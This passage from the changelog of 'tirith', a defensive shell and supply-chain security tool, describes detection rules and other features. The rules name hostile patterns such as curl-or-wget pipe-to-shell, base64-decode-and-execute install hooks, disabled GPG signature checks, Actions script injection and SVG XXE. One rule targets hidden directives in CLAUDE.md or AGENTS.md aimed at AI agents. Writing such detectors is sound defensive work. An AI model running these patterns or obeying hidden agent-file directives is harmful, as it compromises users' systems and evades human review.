per-tool changes (Added/Removed/Set/Reordered). It rides on the chunk-1 inventory hash: whencurrent_lock.inventory_hash == lockfile.inventory_hashthe drift is provably empty and the per-server diff is skipped entirely; only when the inventory hash differs does the merge walk by(name, source_config)produce structured drift entries. Moving an unchanged server between config files is a non-event (chunk 1'scontent_hashdeliberately excludessource_config) — drift only fires when the server itself changed. Privacy invariant. Neitherverifynordiff— nor the new scan rule — ever prints an env value, a URL userinfo string, or even a hash; only the name of the variable or credential that changed reaches the human output and the JSON envelope. The lockfile already stripped raw values into salted hashes in chunk 1; drift detection observes that the hash changed, never the underlying secret. Drift entries are safe to print to a terminal, serialize as JSON, and commit to an audit log. Like every othermcpsubcommand,verifyanddiffare local file operations — no network, off the tier-1/2/3 detection hot path — and discovery is repo-local only. -
MCP server inventory and lockfile —
tirith mcp lock— the first command of the Agent & MCP governance work.tirith mcp lockdiscovers every Model Context Protocol (MCP) server a repository declares — across.mcp.json/mcp.json/mcp_settings.jsonand the IDE config variants under.vscode/,.cursor/,.windsurf/,.cline/,.amazonq/,.continue/,.kiro/— parses each into a structured inventory (per server: its name, transport — a remoteurl, or a localcommand+args+ the subprocessenvit injects — and declaredtools), and writes a deterministic lockfile to.tirith/mcp.lockat the repository root. Both known config-shape variants (mcpServersand theserversalias) are handled; a server object declaring neither aurlnor acommandis captured with an explicit "unknown transport" rather than dropped. The lockfile carries a top-levelformat_version(currently 4), a per-server content hash (over name + transport — including a stdio server'senvand a URL transport'suserinfo_hash— + tools, independent of which config file the server lives in; every variable-length component is length-prefixed so the hash is collision-free), the captured config list, and aninventory_hashover the whole inventory; the lockfile's servers are sorted by(name, source_config)before the inventory hash is computed, so the file and its hash are byte-stable regardless of config-discovery order and agit diffof.tirith/mcp.lockshows exactly what changed in the repo's MCP surface. Env values are never persisted in the lockfile. An env value declared in.mcp.jsonis commonly a credential (API_TOKEN,GITHUB_PERSONAL_ACCESS_TOKEN,OPENAI_API_KEY, …) and.tirith/mcp.lockis designed to be committed, so each env entry serializes as{ name, value_hash }wherevalue_hashis the lowercase-hex SHA-256 ofname || ':' || value. The name acts as a per-entry salt so a low-entropy value (1,true) is not brute-forceable across servers, and the raw value is consumed and dropped inside the parser before reaching any struct field or output. Drift detection is unchanged in spirit — a value change still flipsvalue_hash, which still flips the per-server content hash — but a committed mcp.lock no longer carries plaintext secrets. URL userinfo (HTTP Basic Auth) is never persisted either. A URL declared ashttps://user:token@host:port/pathis the symmetric leak class: the lockfile is committed, so the rawuser:tokenwould land in version control. The same salted-hash scheme is applied to the URL transport: the URL is stored with userinfo stripped (https://host:port/path), and auserinfo_hash = sha256(server_name || ':' || userinfo)— salted by the MCP server's name — is recorded; it is folded into the per-server content hash so a userinfo swap registers as drift. A URL that carried no userinfo serializes withuserinfo_hashomitted (not set to a sentinel), so "no credential" is structurally distinct on the wire from "credential present"; a non-parseable URL is stored verbatim with no hash (we refuse to mangle a string we cannot structurally parse). Themcp lockhuman summary additionally debug-escapes every env name before printing ("{name:?}", which renders each control byte as a\u{NN}/\n/\rescape rather than the raw byte), so a maliciously-crafted name containing ANSI escapes, newlines, or other terminal control bytes cannot inject control sequences into the operator's terminal; a redacted URL whose source declared credentials prints with a fixed(credentials in source URL)annotation so the redaction is visible without revealing the credential or its hash. This is a local file operation — no network, off the tier-1/2/3 detection hot path — and discovery is repo-local only: user-level configs such as~/.claude/are never inventoried, and the guarantee is enforced — a config path that is a symlink, sits under a symlinked directory, or whose canonicalized path escapes the repo root is rejected rather than followed. A malformed configuration file (not valid JSON, or no MCP-server object) contributes no entries and is never an error or a panic — it is reported as "unparseable", and the lockfile reflects only the configs tirith could read. Finding no MCP configuration at all is likewise not an error: it is reported plainly and an empty-but-valid lockfile is still written as a baseline.tirith mcp lockis a new subcommand group; the existingtirith mcp-server(run tirith as an MCP server) is unchanged.--format jsonreports the captured config / server counts and the full lockfile document.tirith mcp verify/mcp diff(drift detection against a committed lockfile) are planned follow-up work. -
Package provenance / maintainer-risk scoring —
tirith package riskandtirith package explain(offline signals) — tirith can now score a package's supply-chain risk the waytirith scorescores a URL: a deterministic, fully explainable sum of named factors — no model, no learned weights, no statistical classifier — every score reproducible by hand. This is the offline-signals phase: every signal is computed without any network or registry-API call.tirith package risk <ecosystem> <name>prints the score and a one-line-per-signal summary;tirith package explain <ecosystem> <name>adds the factor-by-factor derivation (mirroringtirith score --explain); both support--format json. The offline signals: (1) Name vs. popular packages — the dominant factor, sourced from the local threat database'spopularset. A name that is a known-popular package scores 0 (recognized); a name one Levenshtein edit from a known-popular package scores high (the classic typosquat/slopsquat shape, viacheck_popular_distance); an unknown name gets a small baseline only — unknown is not the same as malicious. A new exact-matchThreatDb::is_popular_packageaccessor backs the "is recognized" check (the existingcheck_popular_distancedeliberately skips exact matches). (2) Known malicious typosquat — additive: the threat DB'styposquatindex independently lists this exact name as a malicious typosquat (viacheck_typosquat) — a confirmed bad name, stronger than a mere resemblance. (3) Install / lifecycle-script presence — additive, and only when the package content is locally available: tirith inspects a package directory you already have (auto-discovered undernode_modules/site-packagesrelative to the cwd, or an explicit--path) — it never downloads the package. For npm it readspackage.jsonfor a non-emptypreinstall/install/postinstalllifecycle hook; for PyPI it checks for asetup.py. (4) Bundled binary-blob presence — additive, also local-content-only: a bounded directory walk for native/compiled artifacts (.so,.dll,.dylib,.node,.wasm,.jar, …). The final score ismin(100, sum), with the clamp reported as an explicit negative factor so the breakdown always sums exactly to the displayed number — a test asserts that invariant across every signal combination. The score is advisory and standalone:package riskis not a detection rule, produces noVerdict, and changes noAction, exit code, or audit log; existing detection and verdicts are untouched. The offline signals are always computed; registry-API-backed provenance signals are an opt-in addition behind--online(see the next entry) and never touch the hot path. -
Package risk — registry-API-backed provenance signals (
tirith package risk --online) —package risk/package explaincan now optionally consult a package's registry API for provenance / maintainer-risk signals, on top of the always-on offline signals above. This is strictly opt-in and off the hot path: API calls run only behind an explicit--onlineflag (offline is the default, consistent with tirith's offline-first network policy),--offline/TIRITH_OFFLINEforce offline even with--online, and tirith never adds network totirith checkor any other path —package risk --onlineis the sole entry point. The registry is selected by the<ecosystem>argument: the npm registry API, the PyPI JSON API, and the crates.io API are supported (other ecosystems degrade gracefully). Six registry-API signals, each an explicit named factor in the same deterministic factor-sum model as the offline phase — no ML, no black-box scoring, every factor reproducible by hand: (1) package / version age — a package first published, or a latest version released, very recently (the textbook fresh-typosquat shape; the package-level signal is the larger one and subsumes the smaller version-level one); (2) abandoned ownership — the registry lists an established package with zero maintainers / owners (an account-takeover precursor; a single registry document carries the current owner set, not its history, so a literal transfer cannot be proven from it — an established package that has lost every listed owner is the shape that can be); (3) version spike — the latest version is an abnormal major-version jump from the previous one (a hijacked release often ships an inflated version to capture a semver range); (4) download counts — very low downloads over the registry's reported window (near-zero adoption is a weak signal); (5) repo / source-URL mismatch — the registry lists no usable source-repository URL (provenance cannot be traced to reviewable source); (6) yanked / deprecated status — the registry itself marks the latest version yanked or deprecated. Network hygiene: the registry HTTP client usesreqwestwith an explicit timeout and a response-size cap, exactly asrunner.rs/selfupdate.rsdo. Graceful degradation: a network failure, timeout, HTTP error, unparseable response, or unsupported ecosystem is never a crash, hang, or block — it degrades to the offline score with an honestapi signals: unavailable (reason). Successful registry responses are cached on disk with a TTL (under the tirith state dir) so repeatedpackage riskruns do not hammer the registries. Thepackage_risk::ApiSignalsseam now carries three states —not_computed(offline run, the default),available(an--onlinerun that reached the registry), andunavailable(an--onlinerun that degraded) — and--format jsonexposes the gathered provenance underapi_signals. Offline scoring is unchanged: the API signals only add factors, every offline-phase test still passes, and the score stays advisory and standalone (noVerdict, no exit-code or audit-log change). -
Install-command coverage — package-manager and infrastructure install patterns — tirith now detects high-risk patterns in package-manager and infrastructure install commands (apt/dnf/yum/zypper/pacman, brew, kubectl, helm, terraform), focusing on the dangerous pattern rather than the tool so a legitimate
apt install foo,brew install foo,kubectl apply -f ./local.yaml,terraform init, orhelm install ./chartstays clean. Seven new rules: (1)repo_add_from_pipe(High) — a network download piped throughteeinto an aptsources.listfile, or redirected straight into one, so the repo definition is added and its signing key trusted without any review; a local file piped intoteedoes not fire. (2)unsigned_repo_trust(High) — an apt sources entry marked[trusted=yes](tolerant of[arch=amd64 trusted=yes]), orapt-getrun with--allow-unauthenticated/--allow-insecure-repositories— all disable GPG signature verification. (3)gpg_check_disabled(High) —dnf/yum/zypperrun with--nogpgcheck, an inlinegpgcheck=0repo setting, or pacmanSigLevel = Never. (4)kubectl_apply_remote—kubectl apply/create/replace -fgiven a remote URL (High for a raw-content blob likeraw.githubusercontent.comor a URL-shortener that hides the source, Medium for any other remote URL); a local file or-kkustomize directory does not fire. (5)helm_untrusted_repo(Medium) —helm install/upgrade/repo add/pullpointed at a chart-repository host not in the recognized set; a local chart path does not fire. (6)terraform_remote_module(Medium) —terraform init -from-module(ortofu) sourcing a root module from a remote git/http(s)/code-hosting location rather than a local path or the Terraform Registry. (7)brew_untrusted_tap—brew installgiven a raw URL instead of a formula name (High), orbrew tappointed at an explicit non-GitHub git remote (Medium). All rules see through a single leadingsudo/doaswrapper (and its value-taking flags) and tolerate shell quoting. Detection is pure pattern matching — no registry or network calls on the hot path. Each rule has fulltirith explaindocumentation, a tier-1 PATTERN_TABLE entry, and golden fixtures covering both the attack shape and the benign baseline. -
tirith ecosystem scan— project dependency-manifest supply-chain scan — the directory-level companion totirith package risk:tirith ecosystem scan [path]walks a project, discovers and parses dependency manifests (npmpackage.json/package-lock.json, Pythonrequirements*.txt/pyproject.toml, RustCargo.toml, Gogo.mod, RubyGemfile), and scores every declared dependency through thepackage_riskengine — offline by default,--onlineadds the registry-API provenance signals. It also folds in slopsquat detection — AI-hallucinated package names: a conservative three-layer heuristic (the name is unknown to the threat DB, and shaped like an LLM hallucination, and sits near a real popular name) flags dependencies an attacker may have registered to catch a hallucinated import. Findings flow through the normalVerdict/Findingmodel, are explainable, respect the policy allowlist, and support--format json; slopsquat is integrated here, not shipped as a separate crate. Manifest parsers are total — a malformed manifest yields no findings, never a panic. -
tirith install— safe-install transaction —tirith install <npm|pip|cargo|url> <args…>wraps a real package install with pre-execution supply-chain risk analysis: it scores the package(s) with thepackage_riskengine and the install command with the install-command rules before anything runs, presents one explainableVerdict(a block refuses with bypass-per-policy, a warn requires acknowledgement, an allow proceeds), records the transaction (a working-directory checkpoint plus an audit-log entry), then runs the realnpm/pip/cargo install— or, for theurlform, the downloaded script via the existing safe-download path.--no-execanalyzes and records without running the install;--onlineadds registry-API provenance,--offline/TIRITH_OFFLINEforce offline;--format jsoncarries an explicitsandboxed: false. This is pre-execution install-risk analysis plus a recorded transaction — it does not sandbox or isolate the install (runtime sandboxing is an explicit tirith non-goal); the real install runs with the user's full privileges. -
CI / repo supply-chain scanning —
tirith scancovers your CI and infrastructure files —tirith scannow inspects the files a repository checks in to describe its own build and deploy pipeline, not just AI-config files. It detects the dangerous pattern, not the tool, so a hardened workflow, a digest-pinned image, a local Terraform module, and a normalpackage.jsonall stay clean — every detection ships with benign fixtures proving a legitimate file does not fire. Six new file-content scan rules, run on thetirith scanfile-walk path (no network, no registry calls): (1)workflow_unpinned_action(Medium) — a GitHub Actionsuses:reference in.github/workflows/*.ymlpinned to a mutable ref (a branch like@mainor a tag like@v3) instead of an immutable 40-character commit SHA; a SHA-pinned action and a local./action do not fire, and a workflow with many unpinned steps yields one folded finding. (2)workflow_dangerous_trigger(High) — thepull_request_targettrigger, which runs with repository secrets and a read/write token in the context of an untrusted fork's PR; the safepull_requesttrigger does not fire. (3)workflow_curl_pipe_shell(High) — acurl … | bash/wget … | shpipe-to-shell inside a workflowrun:step (single-line or|block scalar); acurl -o filedownload or a benignecho | grepdoes not fire. (4)workflow_untrusted_input(High) — an attacker-controllable${{ github.event.* }}expression (PR title, issue body, branch name, comment, …) interpolated directly into arun:shell step — the classic Actions script-injection sink; a trusted context value (github.sha) and the same expression in a non-run:with:block do not fire. (5)dockerfile_unpinned_image(Medium) — a DockerfileFROMon the mutablelatesttag or with no tag at all and no@sha256:digest pin; a digest-pinned image, a specific version tag, an earlier-build-stage reference, and a build-arg-templated image do not fire. (6)package_script_dangerous(High) — an npmpackage.jsonpreinstall/install/postinstall/preparelifecycle hook (the hooks that run automatically onnpm install) whose command is a pipe-to-shell, a base64-decode-and-execute payload, an inline interpreter one-liner that shells out or opens a network connection, or a download-and-run sequence; a benignnode-gyp rebuild/tscbuild hook, and a benignpreparehook such ashusky install, do not fire. Terraformmoduleblocks with a remote/untrustedsourcein a*.tffile and Helm chart dependencies from an untrusted repository inChart.yamlare also detected — these reuse the existingterraform_remote_module/helm_untrusted_reporule IDs, since a remote module or untrusted chart repo is the same risk class whether named on a command line or in a checked-in file. Each new rule has fulltirith explaindocumentation.tirith scanalso gains three built-in--profilevalues that tune which checks and severities apply:ci-hardening(every supply-chain check at full strength,fail-on high, for hardening a CI/CD pipeline),ai-agent-repo(keeps the injection / dangerous-trigger / dangerous-script findings, suppresses low-value pinning-hygiene noise, for a repo an AI agent operates in), andoss-maintainer(emphasises contributor-controllable attack surface — script injection, dangerous triggers, dangerous lifecycle scripts — and downgrades pinning-hygiene findings, for reviewing a contributed change). A built-in profile sets a defaultfail_onand a small explicit per-rule overlay that can suppress or re-grade a finding but never invent one; a policyscan.profiles.<name>entry of the same name overrides the built-in.tirith scan --format jsonexposes the new findings unchanged. -
AI-relevant file hidden-content scanning —
tirith scancatches content smuggled past a human reviewer —tirith scannow inspects file types an AI coding agent (or a renderer) reads and acts on, looking specifically for hidden / smuggled content — content a human reviewing the file would not see, but an agent or a renderer still processes. It extends the existing FileScan architecture (the same module pattern as the CI/repocifilerules) with a newaifilerule module; false positives are the explicit design priority, so a normal notebook, an ordinaryCLAUDE.mdwith visible instructions, and a plain SVG image all stay clean — every detection ships with benign fixtures proving a legitimate file does not fire. No network, no registry calls. Five new file-content scan rules across three file kinds: (1)notebook_hidden_content— a Jupyter notebook (*.ipynb) cell with content hidden from the rendered view: invisible / bidirectional / zero-width characters in the cell source (High), a long base64-encoded blob embedded in the source (Medium), or a cell hidden viametadata.jupyter.source_hiddenor ahide_inputtag (Medium). (2)notebook_suspicious_output— a stored cell output carrying smuggled content: invisible characters in a saved stream /text/plainoutput (High), or an embedded<script>, an inline event handler, ajavascript:URI, or CSS-hidden content in a savedtext/htmloutput (Medium). A normal computed output — a number, a pandas DataFrame HTML<table>, a plain-text result — does not fire. (3)agent_instruction_hidden(High) — an AI agent-instruction file (CLAUDE.md,AGENTS.md,.cursorrules, and similar) with a hidden directive: an instruction inside an HTML comment (Markdown renders an HTML comment to nothing) or a visually-hidden HTML element (hidden,aria-hidden,display:none). These files legitimately contain visible instructions, so ordinary visible instructions — and benign developer comments (<!-- TODO -->,prettier-ignore) — never fire; only hidden directives with an instruction-shaped phrase do. (4)svg_script_embedded(High) — an SVG image (*.svg) carrying executable content: an embedded<script>element, an inlineon*event-handler attribute, or ajavascript:URI; a static SVG image (paths, shapes, gradients, text) does not fire. (5)svg_external_reference(Medium) — an SVG that references content outside itself: a remotexlink:href/href, or an XXE external-entity declaration (<!ENTITY … SYSTEM "…">); an internalxlink:href="#id"fragment reference does not fire..svgis no longer treated as a binary/skip extension by the directory walk — an SVG is XML text and is now scanned. Invisible-character detection reuses tirith's existing bidi / zero-width / Unicode-tag classification rather than reimplementing it. Each new rule has fulltirith explaindocumentation and golden fixtures covering both the attack shape and the benign baseline; the fourgolden_fixtures.rstier-1 safeguard tests pass.tirith scan --format jsonexposes the new findings unchanged. DOCX / PPTX / ODT are deliberately out of scope (their ZIP/XML parser complexity is deferred). -
Verify-self and safe self-update —
tirith verify-self,tirith update,tirith version --provenance— tirith can now verify its own integrity and update itself, conservatively and honestly. (1)tirith verify-selfchecks that the running binary is the genuine, unmodified binary from an official release: it re-downloads the release archive for the running version and target, verifies that archive against the releasechecksums.txt, verifies the cosign keyless signature overchecksums.txtwhencosignis installed (the release pipeline produceschecksums.txt.sig+checksums.txt.pem— a Sigstore signature with identitygithub.com/sheeki03/tirith), then extracts the binary from the verified archive and confirms it is byte-identical to the running binary. The verdict is one ofverified-signed(checksum and signature verified),verified-checksum-only(checksum verified;cosignnot installed so the signature was not checked),unverified(could not verify — a local dev build, offline, an unknown install, an unpublished platform — reported honestly, never a false "verified", and not treated as a failure: exit 0), orfailed(verification ran and the binary did not match — exit 1). (2)tirith updateis package-manager-aware. It detects how tirith was installed and, for a package-manager install (Homebrew, cargo, npm, Scoop, AUR, apt/dnf), never self-modifies the managed binary — it prints the exact command to run instead (e.g.brew upgrade tirith). For a self-managed install (theinstall.shtarball or a standalone binary) it resolves the latest release, downloads it, verifies it (a checksum mismatch always aborts;--verifyadditionally requires a verified cosign signature), then atomically swaps the binary in place — download to a temp file in the binary's own directory, set the executable bit, then a single atomic rename, so tirith is never left half-installed — and keeps the previous binary as a<name>.tirith-previoussidecar.tirith update --rollbackrestores that previous binary (self-managed installs only).--dry-runshows what would happen and changes nothing. (3)tirith version --provenanceshows the running binary's version, build profile, target triple, detected install method, SHA-256, and an offline verification status. All three commands support--format json, and all reach the network only when explicitly invoked — there is no new hot-path network. An honest design constraint: tirith has no in-process Sigstore implementation, so cosign signature verification is done by shelling out to thecosignbinary exactly asinstall.shdoes; withoutcosignthe integrity check still succeeds via the signedchecksums.txtbut is reported asverified-checksum-only, notverified-signed. -
Trust / allowlist UX — narrow by default, expiring by default, and transparent —
tirith trustno longer makes it easy to grant a broad, permanent allow by accident. (1) Narrow-trust-by-default:trust addclassifies the pattern's scope —exact(a specific URL or path),substring,domain(a whole host and every subdomain),wildcard(*.host), orbare-TLD(com,dev) — and a broad pattern (domain / wildcard / bare-TLD) is now refused unless the caller passes an explicit--broad; an exact URL or path is still accepted as-is. The error tells the user to trust the narrowest thing that works, and a bare TLD gets an extra "this allows EVERY host under.com" warning. (2) Default TTLs: atrust addwith neither--ttlnor the new--permanentflag now gets a 30-day TTL, so stale trust expires on its own;--permanentis the explicit opt-out and is mutually exclusive with--ttl. (3) Scope visualization:trust listshows each entry's scope class in a newSCOPEcolumn, marks a dangerously broad entry (wildcard / bare-TLD) with a!, and renders TTLs as a friendly(in 6d)/permanent;--format jsoncarriesscope_kind,scope_coverage, andbroad_warningper row. (4)tirith trust explain <pattern>— explains a single entry: its scope and what it covers, the rule it is scoped to (or "global"), when it was added, the free-text reason it was added (a new optional--reasonflag ontrust add, recorded intrust.json), and when it expires; for a pattern that is not trusted it explains what scope it would get. (5)tirith trust diff— shows what changed in the trust set (entries added / removed) since the previous observation;trust listandtrust diffopportunistically record a small, bounded snapshot of the trust set into~/.local/state/tirith/trust-history.jsonlso a diff trail accrues over time. (6)tirith trust gc --expired— the expired-entry garbage collector now takes an explicit--expiredflag and supports--format json. All of this is backward-compatible: thetrust.jsonschema only gains an optionalreasonfield, an existing trust store written by an older tirith loads unchanged, and an entry with no TTL — every pre-existing entry and every--permanententry — is treated as permanent and is never expired or garbage-collected. The engine's hot-path trust loader is untouched and still reads old and new stores alike. -
Remediation — "what to run instead" — a tirith finding no longer only says a command is dangerous, it tells you how to make it safe. (1) Every
RuleIdhas a per-rule remediation string exposed throughrule_explanations::remediation(RuleId)and surfaced in human and JSON output. (2)tirith explain --rule <id> --fixprints that remediation. (3)tirith check --suggest-safe-commandemits an executable command only for supported pipe-to-shell shapes on x86_64 Linux, with the current Tirith binary fixed at a root-managed system path, and only after the exact candidate re-analyzes to approval-free Allow under the original policy/session/origin/context snapshot. The typedtirith run --capsule --script-stdin --interpreter <shell>invocation literal-decodes and round-trips the URL, preserves the selected shell and supported argv, ignores a conflicting remote shebang, feeds reviewed hash-verified bytes over stdin, and fails closed on unavailable capsule coverage. Dynamic or malformed URLs, decoded controls, Cmd, ambiguous pipelines, unsupported downloader/interpreter arguments, TLS-flag removal, and HTTP-to-HTTPS changes remain guidance-only. The flag is advisory and changes neither verdict nor exit code; JSON carries the result undersafe_suggestions. -
Threat-DB transparency —
tirith threat-db explain | sources | health | diff— four additive read-only subcommands so a user can understand and trust the local threat database. They never download, never write the DB, and never change existingupdate/statusbehavior; all support--format json.threat-db explain <indicator>looks up a domain, package (name,ecosystem:name, orname@version), or IPv4 address and reports whether the DB knows it, the matching classification (malicious package / typosquat / popular-lookalike / malicious hostname / malicious IP), the flagging source, and confidence — and says so plainly when the indicator is absent, with the caveat that absence is not a safety guarantee.threat-db sourceslists every threat-intelligence feed the DB is built from, grouped into primary (the signed CI database) and supplemental (the optional user-local overlay), with the upstream project URL and live per-source record counts walked from the loaded DB.threat-db healthreports install state, Ed25519 signature validity, age and staleness against the configuredauto_update_hoursrefresh interval, per-category entry counts, supplemental-overlay presence, and any load error, with a one-wordstatus(ok/stale/not_installed/error).threat-db diff --since <version-or-date>summarizes what changed since a DB build sequence or ISO date. The DB binary format retains no per-entry history, sodiffhonestly reports category and per-source count deltas between snapshots — not the exact entries added or removed — and states that limitation prominently; the transparency commands opportunistically record a small, bounded snapshot of the current DB (version, build time, counts) into~/.local/state/tirith/threatdb-history.jsonlso a usable diff trail accrues over time. The canonical CLI spelling isthreat-db;threatdbcontinues to work as an alias. -
Scoring calibration —
tirith score --explainandtirith policy tune --from-audit— the risk score is now fully explainable, and tirith can read your audit log back to you as conservative policy advice. tirith's scoring stays deterministic and inspectable: there is no model, no learned weights, no statistical classifier — every score is a fixed sum of named factors, reproducible by hand. (1)tirith score <url> --explainprints the exact factor-by-factor derivation of the score: a base-severity factor (the single highest-severity finding sets the floor —Critical90 /High70 /Medium40 /Low15), an additional-findings factor (+5 for each finding past the first), and — when it applies — a threat-intel corroboration factor (+5 when a local threat-DB rule fired alongside other findings, an unambiguous external confirmation). Each factor shows its point contribution, a running total, and a plain-language reason; the factors sum exactly to the displayed score, and a test asserts that invariant for a wide input range. The breakdown is opt-in: without--explainthescoreJSON is byte-compatible with before, and with it ascore_breakdownobject is added. The base and additional-findings factors reproduce the historicalscoreformula exactly, so no pre-existing score changed; the threat-intel factor is the only new term and is purely additive — it never fires on its own and never changes a verdict, exit code, or audit log (scoreis an inspection command, not an enforcement path). (2)tirith policy tune --from-auditanalyzes the local JSONL audit log and suggests — never applies — concrete, conservative policy adjustments. The headline suggestion: a rule that fired often and was allowed or bypassed every time, and was never blocked, is flagged as a candidate for an allowlist entry or a severity override, with a copy-pasteable (and deliberately incomplete — the user picks the target severity)severity_overridessnippet. A rule the user sometimes blocks on is never suggested for a downgrade — it is doing its job. It also reports, purely informationally, rules that never fired, but only when that list is short enough to be useful. Every suggestion is a fixed rule over plain counts — an arithmetic fact about the log, not an inference — and when the log is too small to be meaningful (policy tuneneeds a minimum number of records) it says so plainly rather than guessing.policy tunenever edits the policy: the user reviews each suggestion and applies it by hand. Both commands support--format json. -
tirith policy init --template <name>— three curated starter policies fortirith policy init.individualis sensible defaults for a single developer (fail-open, paranoia 1, the noisyshortened_urlrule escalated).ci-strictis locked down for automated CI —fail_mode: closed, theTIRITH=0bypass disabled for both interactive and non-interactive shells,strict_warn: true, the common remote-execution rules escalated to CRITICAL, and ascan.fail_on: highthreshold sotirith scanfails the build.ai-agent-heavyis tuned for environments where AI agents run many commands — fail-open so an internal error cannot wedge an agent mid-task, butparanoia: 3, the non-interactive bypass disabled (an agent must not be able to skip analysis),approval_rulesrequiring human approval for the highest-risk pipe-to-shell rules, andescalationrules that block on repeated warnings. Each template writes a well-commented YAML file; every key is verified against the real policy schema, sotirith policy validatepasses on each.tirith policy initwith no--templateis unchanged (still the full default template);--templateand--minimalare mutually exclusive, and an unknown template name fails fast and lists the valid names. Thefintechandwindows-enterprisetemplates are intentionally deferred. -
Android / Termux install support — Termux runs on Bionic libc and cannot execute the glibc Linux build, so the
aarch64-unknown-linux-muslartifact (a statically linked binary) is now documented as the supported Termux build, with step-by-step install instructions in the README. The release workflow gained a CI smoke check for that artifact: after the cross-build it verifies the binary is fully static (no dynamic-linkerINTERPsegment) and, under QEMU aarch64 user-mode emulation, confirmstirith --versionruns and a known-bad pipe-to-shell command is still blocked. Continuous verification on a real Android device is not yet in CI and is tracked as a follow-up. -
Visible degraded-protection indicator — when a shell hook downgrades protection (most commonly bash enter mode falling back to preexec warn-only), the downgrade is now surfaced three ways, deliberately without being naggy. (1) The bash hook emits a single consolidated one-shot message per session —
tirith: protection downgraded to warn-only (does not block) — run 'tirith doctor' for details— replacing the several differently-worded degrade messages it printed before. (2) The tirith shell hooks expose a newTIRITH_STATUSshell variable — one ofblocks/warn-only/degraded/off— reflecting the live protection level;degradedspecifically means a mid-session downgrade from a stronger level, distinct from a shell that simply started in warn-only. A user who wants a prompt indicator can reference$TIRITH_STATUSin their PS1 /fish_prompt/ PowerShellprompt; tirith itself adds no per-prompt output. It is a plain non-exported shell variable (bash/zsh global, fishset -g, PowerShell$global:): the prompt runs in the interactive shell and reads it fine, while a non-interactive child — which has no tirith protection — never inherits a misleading status. It is never set in a non-interactive shell at all (conformance invariant g). nushell has no session variable that is both prompt-readable and not child-inherited, so the nushell hook does not setTIRITH_STATUS. (3)tirith doctornow prints an explicitprotection:line and, when the status isdegraded, an unmistakable callout — no longer something the reader must infer fromeffective protection: warn-only.tirith doctor --compatgained a matchingprotection status:line. New docs pagedocs/prompt-status.mdshows ready-to-paste prompt snippets for bash, zsh, fish, PowerShell, and Starship. -
tirith doctor --bundle(aliases--redacted-report,--shell-trace) — writes a single redacted diagnostic bundle to a file (path printed; under~/.local/state/tirith/) that is safe to attach to a bug report. The bundle contains doctor info, tirith + hook versions, shell / mode / effective protection, hook-chain state, policy discovery, threat-DB status, and a curated slice of the environment. Redaction is layered: the environment section emits only a curated allowlist of tirith-relevant variable names (so unrelated cloud credentials / API keys are never candidates), every emitted value is still scrubbed if it looks like a token/secret, and the literal home-directory path is masked to~so absolute paths do not reveal the account username.--bundlesupports--format json(emits{"bundle_path": "..."}) and is mutually exclusive with--fix,--simulate-enter,--reset-bash-safe-mode, and--compat. -
tirith check --offline/TIRITH_OFFLINE— an opt-in switch that suppresses all network activity on the hot path.tirith checknormally triggers a periodic background threat-DB refresh before analysis; with--offline(orTIRITH_OFFLINE=1in the environment) that refresh is a guaranteed no-op, socheckanalyzes purely locally with zero network attempts.paste,score,diff, andwhyare already local-only. This is a mechanism only — the default (online) behavior is unchanged. The env-var form lets shell hooks and the PTY conformance harness pin offline behavior deterministically. -
tirith doctor --compat— a focused shell/terminal compatibility report (human, plus--format json). It surfaces the detected shell, requested-vs-effective bash mode and protection (from the hook-exportedTIRITH_BASH_EFFECTIVE_*vars), the enter-mode capability verdict, install checks (binary PATH shadowing, shell-profile wiring, materialized-hook staleness, policy discovery, threat-DB status), and best-effort detection of co-installed shell tools that historically interact with hooks (Atuin, Starship, fzf, zoxide, direnv, mise, asdf) via presence on PATH and/or in the shell profile.--compatis mutually exclusive with--fix,--simulate-enter, and--reset-bash-safe-mode. It is a static report and does not run the enter-mode self-test —--simulate-enterremains the way to (re)measure that. -
tirith doctor --simulate-enter— runs the bash enter-mode delivery self-test on demand: spawns a disposable bash through a PTY, sources the real hook in enter mode, verifies an allowed command is delivered exactly once and a blocked command is stopped, prints the verdict, and caches it.tirith doctorshows the cached verdict on a newenter capability:line.
- Bash preexec function /
PROMPT_COMMANDdegradation (#176) — enforced preexec no longer leavesextdebugenabled across the session, where modern Bash inherited the DEBUG trap into function bodies and prompt commands and misclassified them as new typed lines. The hook now brackets existing scalar or arrayPROMPT_COMMANDentries, preserves their order and$?, captures/chains a caller-owned DEBUG trap at the first top-level prompt, scans each trustworthy top-level history line once, and enables Tirith-ownedextdebugonly for a blocking decision before restoring it at the next prompt. Nested, startup, and prompt execution create no duplicate receipts. Unsafe prompt/DEBUG ownership or user-ownedextdebugleaves interception visibly off without clobbering user state; lost bracketing downgrades visibly, and post-downgrade fragment warnings do not claim trusted execution receipts. - #136:
pipe_to_interpreterno longer flags a benignpython -cdata pipeline (json.load(sys.stdin)) as downloaded-code execution; stdin-as-code and fetch sources still block. - #126 / #134: confusable-text false positives on ordinary CJK text and Cyrillic local paths.
- #123: silent rule-panic swallowing during file scans (now surfaced; fails closed under
--ci). - #122:
resolve_shortened_urlreturnsNonepast the redirect limit instead of a partial result. - #135: "enter mode failed (bash)" root-caused with working escape hatches (
TIRITH_BASH_MODE=enter,tirith doctor --reset-bash-safe-mode,--simulate-enter). - #140: daily threat-DB releases no longer break
@latestresolution (one rolling prerelease). - Security-audit remediation (#137): repo-scoped policy can only tighten (never weaken); SSRF egress guard on
run/fetch --save/command-card fetch; audit-log and fetch hardening. - Bash enter mode silently ate the typed command (#111) —
bind -xon Enter runs the bound function but, in many bash/readline builds, does not then accept the line, soPROMPT_COMMANDnever fires and the command tirith deferred into_TIRITH_PENDING_EVALis never delivered. Because whetherbind -xaccepts the line is a capability of the bash build rather than a version number, tirith now proves it:tirith setupandtirith doctorrun a disposable-PTY self-test (cli::bash_capability) that checks enter-mode delivery and blocking, and write akey=valuecapability cache (<state-dir>/bash-enter-capability). Cache freshness is keyed on the bash identity —$BASH_VERSIONand the bash binary path — becausebind -xline-acceptance is a property of that specific bash/readline build; the cacheschemanumber is the cross-tirith-version invalidator (a probe or format change bumps it), and the recordedtirith_versionis diagnostic only. The bash hook reads that cache at startup — a single small-file read, sotirith initstays untouched and fast — and selects enter mode only when delivery is proven for the running bash, otherwise falling back to the safe default, preexec. An explicitTIRITH_BASH_MODE=enterstill forces enter mode (the startup health gate and runtime self-healing degrade visibly if delivery then fails). New PTY conformance tests cover the capability-gated allowed/blocked contract, andbash_preexec_enforce.rscovers the cache reader againstHISTCONTROL/HISTIGNORE/set +o history/ pre-setIFS/ pre-enabledextdebug. tirith doctorreportedpolicies: (none found)for a policy created bytirith policy init(#112) —doctornow resolves the active policy through the same local discovery the engine uses 